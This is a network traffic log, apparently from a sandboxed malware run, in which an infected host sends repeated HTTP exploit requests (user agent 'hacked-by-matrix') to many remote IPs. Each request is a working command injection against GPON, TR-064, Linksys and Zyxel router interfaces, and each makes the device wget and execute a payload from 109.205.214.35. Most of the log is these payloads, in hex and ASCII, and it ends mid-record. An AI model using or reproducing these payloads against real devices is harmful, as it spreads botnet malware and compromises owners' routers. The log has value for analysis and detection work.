Mar 21, 2024 05:26:03.146447897 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
571	192.168.2.23	47216	94.16.25.199	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:03.146465063 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
572	192.168.2.23	58076	79.75.151.56	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:03.146874905 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
573	192.168.2.23	48750	178.248.110.233	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:03.146917105 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
574	192.168.2.23	38634	210.40.242.105	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:03.146919966 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
575	192.168.2.23	33086	14.90.173.204	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:03.309788942 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:04.751482964 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:05.033405066 CET	97	IN	HTTP/1.1 401 Unauthorized Date: Thu, 21 Mar 2024 04:26:04 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
576	192.168.2.23	33134	14.90.173.204	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:04.618638992 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:04.904400110 CET	97	IN	HTTP/1.1 401 Unauthorized Date: Thu, 21 Mar 2024 04:26:04 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
577	192.168.2.23	59880	70.20.37.97	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:04.724775076 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:04.856988907 CET	174	IN	HTTP/1.1 400 Bad Request Content-Length: 0 Date: Thu, 21 Mar 2024 04:26:05 GMT X-Frame-Options: sameorigin Content-Security-Policy: frame-ancestors 'self'

Session ID	Source IP	Source Port	Destination IP	Destination Port
578	192.168.2.23	32844	172.65.203.48	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:04.906280994 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
579	192.168.2.23	38680	213.131.231.115	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:05.697001934 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:26:05.897588015 CET	562	IN	HTTP/1.1 302 Found Date: Thu, 21 Mar 2024 04:26:05 GMT Server: Apache/2.4.57 (Rocky Linux) OpenSSL/3.0.7 SVN/1.14.1 mod_perl/2.0.12 Perl/v5.32.1 Location: https://127.0.0.1:443/cgi-bin/ViewLog.asp Content-Length: 225 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 3a 34 34 33 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://127.0.0.1:443/cgi-bin/ViewLog.asp">here</a>.</p></body></html>
Mar 21, 2024 05:26:05.897654057 CET	479	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:26:05 GMT Server: Apache/2.4.57 (Rocky Linux) OpenSSL/3.0.7 SVN/1.14.1 mod_perl/2.0.12 Perl/v5.32.1 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
580	192.168.2.23	51654	213.177.100.210	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:05.726643085 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:26:05.952625990 CET	108	IN	HTTP/1.1 404 Not Found Content-Type: text/plain Content-Length: 35 Connection: keep-alive
Mar 21, 2024 05:26:05.952841997 CET	47	IN	Data Raw: 45 72 72 6f 72 20 34 30 34 3a 20 4e 6f 74 20 46 6f 75 6e 64 0a 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: Error 404: Not FoundFile not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
581	192.168.2.23	59884	70.20.37.97	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:05.849548101 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:05.980238914 CET	174	IN	HTTP/1.1 400 Bad Request Content-Length: 0 Date: Thu, 21 Mar 2024 04:26:06 GMT X-Frame-Options: sameorigin Content-Security-Policy: frame-ancestors 'self'

Session ID	Source IP	Source Port	Destination IP	Destination Port
582	192.168.2.23	46306	178.236.33.80	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:06.161643028 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
583	192.168.2.23	44540	109.254.119.183	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:06.161655903 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
584	192.168.2.23	60752	42.146.167.70	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:06.161663055 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
585	192.168.2.23	52514	37.191.254.95	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:06.161679983 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
586	192.168.2.23	59722	181.88.240.54	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:07.127341032 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
587	192.168.2.23	41188	177.138.109.192	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:07.127374887 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
588	192.168.2.23	40030	119.202.169.45	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:07.143507957 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
589	192.168.2.23	46562	218.148.98.14	7547

Timestamp	Bytes transferred	Direction	Data
